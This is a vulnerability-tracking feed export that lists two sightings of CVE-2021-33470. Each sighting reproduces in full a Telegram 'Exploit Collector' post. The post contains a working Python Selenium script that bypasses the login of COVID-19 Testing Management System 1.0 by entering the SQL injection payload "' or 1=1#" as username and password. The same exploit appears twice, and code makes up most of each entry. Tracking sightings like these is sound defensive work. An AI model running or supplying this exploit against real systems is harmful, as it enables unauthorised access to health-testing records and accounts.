https://vulnerability.circl.lu/sightings/feed 2026-09-29T14:18:37.232611+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/0c6a5654-a0c3-412b-926a-a3422d439a47/export 2026-09-29T14:18:37.264622+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "0c6a5654-a0c3-412b-926a-a3422d439a47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-33470", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11991", "content": "Exploit Collector\nCOVID-19 Testing Management System 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png \nCOVID-19 Testing Management System version 1.0 remote SQL injection exploit based upon the original discovery by Rohit Burke in May of 2021.\n\nMD5 | 12bc9bc3329a4bc99a1d6ad5f44b6f45\n\nDownload\n# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection\n(Authentication Bypass)\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 06.08.2021\n# Vendor: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/\n# Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/\n# CVE: CVE-2021-33470\n# Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-33470/CVE-2021-33470.gif\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug: @nu11secur1ty\n# CVE: CVE-2021-33470\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"\nhttp://192.168.1.160/Covid19-TMS%20Project%20Using%20PHP%20and%20MySQL/covid-tms/login.php\n\"\n\n#enter your login username SQL bling injection\nusername=\"nu11secur1ty' or 1=1#\"\n#enter your login password SQL bling injection\npassword=\"nu11secur1ty' or 1=1#\"\n\n# test and proof the SQL injection\n# user: admin\n# password: password\n\n#enter the element for username input field\nelement_for_username=\"username\"\n#enter the element for password input field\nelement_for_password=\"inputpwd\"\n\n#enter the element for submit button by class\nelement_for_submit=\"btn.btn-primary.btn-user.btn-block\"\n\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\ntime.sleep(3)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\nprint(\"payload is deployed NOW, you have SQL Authentication Bypass =)...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T04:00:04.842139Z"} 2026-09-08T04:00:04.842139+00:00 https://vulnerability.circl.lu/sighting/e9b189d7-1b6f-4576-aacc-f5c3b7047c29/export 2026-09-29T14:18:37.268019+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "e9b189d7-1b6f-4576-aacc-f5c3b7047c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-33470", "type": "seen", "source": "https://t.me/hacking_Attack/11991", "content": "Exploit Collector\nCOVID-19 Testing Management System 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png \nCOVID-19 Testing Management System version 1.0 remote SQL injection exploit based upon the original discovery by Rohit Burke in May of 2021.\n\nMD5 | 12bc9bc3329a4bc99a1d6ad5f44b6f45\n\nDownload\n# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection\n(Authentication Bypass)\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 06.08.2021\n# Vendor: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/\n# Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/\n# CVE: CVE-2021-33470\n# Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-33470/CVE-2021-33470.gif\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug: @nu11secur1ty\n# CVE: CVE-2021-33470\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"\nhttp://192.168.1.160/Covid19-TMS%20Project%20Using%20PHP%20and%20MySQL/covid-tms/login.php\n\"\n\n#enter your login username SQL bling injection\nusername=\"nu11secur1ty' or 1=1#\"\n#enter your login password SQL bling injection\npassword=\"nu11secur1ty' or 1=1#\"\n\n# test and proof the SQL injection\n# user: admin\n# password: password\n\n#enter the element for username input field\nelement_for_username=\"username\"\n#enter the element for password input field\nelement_for_password=\"inputpwd\"\n\n#enter the element for submit button by class\nelement_for_submit=\"btn.btn-primary.btn-user.btn-block\"\n\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\ntime.sleep(3)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\nprint(\"payload is deployed NOW, you have SQL Authentication Bypass =)...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:38.279589Z"} 2026-09-01T20:02:38.279589+00:00